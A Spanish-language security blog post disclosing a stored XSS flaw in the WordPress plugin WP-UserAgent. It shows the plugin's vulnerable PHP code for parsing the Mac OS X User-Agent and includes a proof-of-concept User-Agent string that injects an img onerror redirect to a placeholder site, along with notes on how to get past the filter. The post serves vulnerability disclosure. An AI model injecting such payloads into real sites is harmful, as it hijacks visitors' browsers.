martes, mayo 26, 2015

WordPress: 0day XSS almacenado en plugin WP-UserAgent

Hace ya un tiempo me acuerdo de haber leído un post en el blog de Chema Alonso sobre cómo explotar vulnerabilidades XSS (Cross-Site Scripting) utilizando el User Agent en sitios que permiten mostrar esta información en una página web. Desde ese instante me pareció bastante interesante óomo algunos sitios webs utilizaban la información provista en las cabeceras de las peticiones para personalizar el contenido dependiendo del tipo de navegador que utilicemos. Tomando en consideración este escenario se me ocurrió la idea de ver si este tipo de ataque se podía replicar en otras plataformas, no siendo muy complejo lograr encontrar casos similares.

Figura 1: Bug 0day de XSS en  el plugin WP-UserAgent de WordPress

Lo primero que se me ocurrió fue buscar algún plugin que realizara esta tarea, llegando a WP-UserAgent. Este plugin de WordPress permite insertar un icono en cada comentario puesto por un usuario, en el que se indican además el sistema operativo y la versión navegador - entre otros parámetros - que utiliza dicho usuario.

Figura 2: Plugin WP-UserAgent

WP-useragent con más de 600 instalaciones activas.

Una vez descargado el código fuente comencé a revisar el código para ver cómo extraía la información desde el campo de User Agent y estudiar cómo la procesaba, encontrado algo bastante interesante. El siguiente fragmento de código muestra cómo se buscan cadenas dentro del valor de User Agent.

elseif(preg_match('/Xandros/i', $useragent))
{
  $link="http://www.xandros.com/";
  $title="Xandros";
  $code="xandros";

  if(preg_match('/x86_64/i', $useragent))
  {
    $title.=" x64";
    }
  }

Figura 3: Ejemplo tipo de identificación useragent

En general el funcionamiento es bastante simple, se detecta una cadena específica y se asignan textos ya preestablecidos, así no se utiliza directamente la información del valor de User Agent salvo por un caso particular para los dispositivos Mac OS X.

elseif(preg_match('/Mac/i', $useragent) || preg_match('/Darwin/i', $useragent))
{
  $link="http://www.apple.com/macosx/";

  if(preg_match('/Mac OS X/i', $useragent))
  {
    $title=substr($useragent, strpos(strtolower($useragent), strtolower("Mac OS X")));
    $title=substr($title, 0, strpos($title, ")"));

    if(strpos($title, ";"))
    {
      $title=substr($title, 0, strpos($title, ";"));
      }

    $title=str_replace("_", ".", $title);
    $code="mac-3";
    }
  elseif(preg_match('/Mac OSX/i', $useragent))
  {
    $title=substr($useragent, strpos(strtolower($useragent), strtolower("Mac OS X")));
    $title=substr($title, 0, strpos($title, ")"));

    if(strpos($title, ";"))
    {
      $title=substr($title, 0, strpos($title, ";"));
      }

    $title=str_replace("_", ".", $title);
    $code="mac-2";
    }
  }
Figura 4: Código fuente de WP-useragent para identificar la versión exacta de OS X

En el caso de los dispositivos Mac OS X el proceso de identificación es distinto. En primer lugar si el User Agent contiene la cadena "Mac" o "Darwin" entra en la sección vulnerable. Luego se revisa si en $useragent posee la cadena "Mac OS X" o "Mac OSX", en ambos casos se ejecuta la misma porción de código duplicado. Se limpia el inicio del valor de useragent hasta la ocurrencia de la cadena "Mac OS X" (en el caso de "Mac OSX" no funciona). Luego limpia la parte final de useragent, sin embargo se utiliza como identificador el carácter ")", eso significa que todo código que este antes de este carácter no será filtrado. Ya en última parte se intenta acortar el string title utilizando como identificador el carácter ";" y reemplazar todos los guiones bajos por puntos.

Explotación del bug de XSS en WP-UserAgent

Este escenario nos permite desarrollar con cualquier plugin para cambiar queuseragent custom como por ejemplo el siguiente:
Mozilla/4.0 (Macintosh; U; PPC Mac OS X <img http:="" onerror="javascript:document.location.href=" site.com="" src="1" /&gt 10_5_8;
zh-cn) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4
Safari/533.20.27
El cual se salta las restricciones y filtros generando un Stored-XSS que se ejecuta cada vez que visualiza el comentario asociado que se generó con el plugin WP-UserAgent activo. Acá una pequeña PoC sobre este ejemplo:


Figura 5: Prueba de Concepto de Stored-XSS en plugin WP-UserAgent de WordPress

Consideraciones finales sobre la explotación del XSS almacenado
• El código a inyectar no debe utilizar el string ")".
• El código a inyectar no debe utilizar el string ";".
• El código a inyectar cambiará todos los "_" por ".".
• La versión 1.0.5 del plugin (única) es vulnerable.
Una vez encontrada la vulnerabilidad notifiqué al desarrollador y a la gente de WordPress de forma inmediata, sin embargo no obtuve respuesta hasta esta semana, donde me contactó la gente de WordPress indicando que por el gran volumen de correos que les llega normalmente no habían podido responder antes.

Figura 6: WP-UserAgent ha sido deshabilitado en WordPress.org

Como acciones a tomar han notificado al desarrollador sobre la vulnerabilidad  - ojalá les responda a ellos al menos - y momentáneamente lo han dado de baja de la lista de plugins de WordPress. Si lo tienes configurado en tu servidor WordPress, anúlalo temporalmente.

Autor: Marcelo Clavel G.
Ing. Civil Informático de Chile

1 comentario: